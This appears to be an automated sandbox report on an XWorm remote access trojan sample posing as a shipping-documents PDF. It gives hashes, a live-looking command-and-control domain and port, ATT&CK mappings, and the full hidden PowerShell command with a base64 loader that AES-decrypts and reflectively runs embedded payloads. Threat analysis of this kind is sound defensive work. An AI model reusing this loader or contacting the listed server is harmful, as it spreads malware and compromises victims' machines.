xworm | 4758b9130f78fd67643d92f9adde34516a5b757f20807edb7fbf6f3ee143f76e

General

Target

Shipping_Documents.pdf_.bat
Size

64KB
MD5

eac68a6120674bd90a20752d09d126e8
SHA1

9f73c48c6a5d177b67ca3f984caca601d6540427
SHA256

fbb07a7f02f9957564b487f7a893751f3059ae53dbcd0bdf5f176ca7be69096b
SHA512

f3240d2ecf309a5b1db1566b9fbff5ee7c946a26ff441327cbebb0ce1f3089e0a02934c14f164d59e934c585132413af38e4b6b389577eb61e1e7f590cb23248
SSDEEP

1536:vOYBZkbmEKUgXEXzICKUnF85J6ygoASfj3Hlbjeq5d6d01jK:vZQHfe5J6JQbn5dl1jK

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expresswealthz.duckdns.org:3911

Mutex

RzkxMatWHp9NDD4H

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4620-21-0x000001FC6ED30000-0x000001FC6ED40000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	4620	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4620	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_3a9aa9ff.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_3a9aa9ff.cmd	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
8	cmd.exe
2276	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4620	powershell.exe
4620	powershell.exe
4620	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4620	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 8 wrote to memory of 2276	8	cmd.exe	86
PID 8 wrote to memory of 2276	8	cmd.exe	86
PID 2276 wrote to memory of 4620	2276	cmd.exe	88
PID 2276 wrote to memory of 4620	2276	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.bat"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:8
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.bat"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskaWlwYnogPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGlpcGJ6KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRpaXBieiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRpaXBieiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkaWlwYnoiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gamVsbHcoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0p1SS9EbVJrME9lUGxDcGlRWlZ2eHJCUGRLbEhpWnM2RkhUekRnNHpXNG89Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3crTmVxU0RTaWFmMzF3NWZaRzVuQUE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmFhY2soJHBhcmFtX3Zhcil7CSRubmh0aj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkYXdvcW49TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbW9wcWU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbm5odGosIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG1vcHFlLkNvcHlUbygkYXdvcW4pOwkkbW9wcWUuRGlzcG9zZSgpOwkkbm5odGouRGlzcG9zZSgpOwkkYXdvcW4uRGlzcG9zZSgpOwkkYXdvcW4uVG9BcnJheSgpO31mdW5jdGlvbiBkaXpzZigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHNpamVvPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHB2aW53PSRzaWplby5FbnRyeVBvaW50OwkkcHZpbncuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGlpcGJ6OyRhdGlwbD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGlpcGJ6KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkemtzIGluICRhdGlwbCkgewlpZiAoJHprcy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGVidXp1PSR6a3MuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHFzbWF2PVtzdHJpbmdbXV0kZWJ1enUuU3BsaXQoJ1wnKTska2xjcGs9YmFhY2sgKGplbGx3IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHFzbWF2WzBdKSkpOyRxZ21xZj1iYWFjayAoamVsbHcgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcXNtYXZbMV0pKSk7ZGl6c2YgJGtsY3BrICRudWxsO2RpenNmICRxZ21xZiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lruj135g.vpi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
eac68a6120674bd90a20752d09d126e8

SHA1
9f73c48c6a5d177b67ca3f984caca601d6540427

SHA256
fbb07a7f02f9957564b487f7a893751f3059ae53dbcd0bdf5f176ca7be69096b

SHA512
f3240d2ecf309a5b1db1566b9fbff5ee7c946a26ff441327cbebb0ce1f3089e0a02934c14f164d59e934c585132413af38e4b6b389577eb61e1e7f590cb23248

Download Submit
memory/4620-16-0x00007FF9352E0000-0x00007FF935DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-13-0x00007FF9352E0000-0x00007FF935DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-14-0x00007FF9352E0000-0x00007FF935DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-8-0x000001FC6EA60000-0x000001FC6EA82000-memory.dmp

Filesize
136KB

Download
memory/4620-2-0x00007FF9352E3000-0x00007FF9352E5000-memory.dmp

Filesize
8KB

Download
memory/4620-17-0x00007FF9352E0000-0x00007FF935DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-18-0x000001FC6ECF0000-0x000001FC6ECF8000-memory.dmp

Filesize
32KB

Download
memory/4620-19-0x000001FC6ED00000-0x000001FC6ED0E000-memory.dmp

Filesize
56KB

Download
memory/4620-21-0x000001FC6ED30000-0x000001FC6ED40000-memory.dmp

Filesize
64KB

Download
memory/4620-22-0x00007FF9352E3000-0x00007FF9352E5000-memory.dmp

Filesize
8KB

Download
memory/4620-23-0x00007FF9352E0000-0x00007FF935DA1000-memory.dmp

Filesize
10.8MB

Download
memory/4620-24-0x00007FF9352E0000-0x00007FF935DA1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing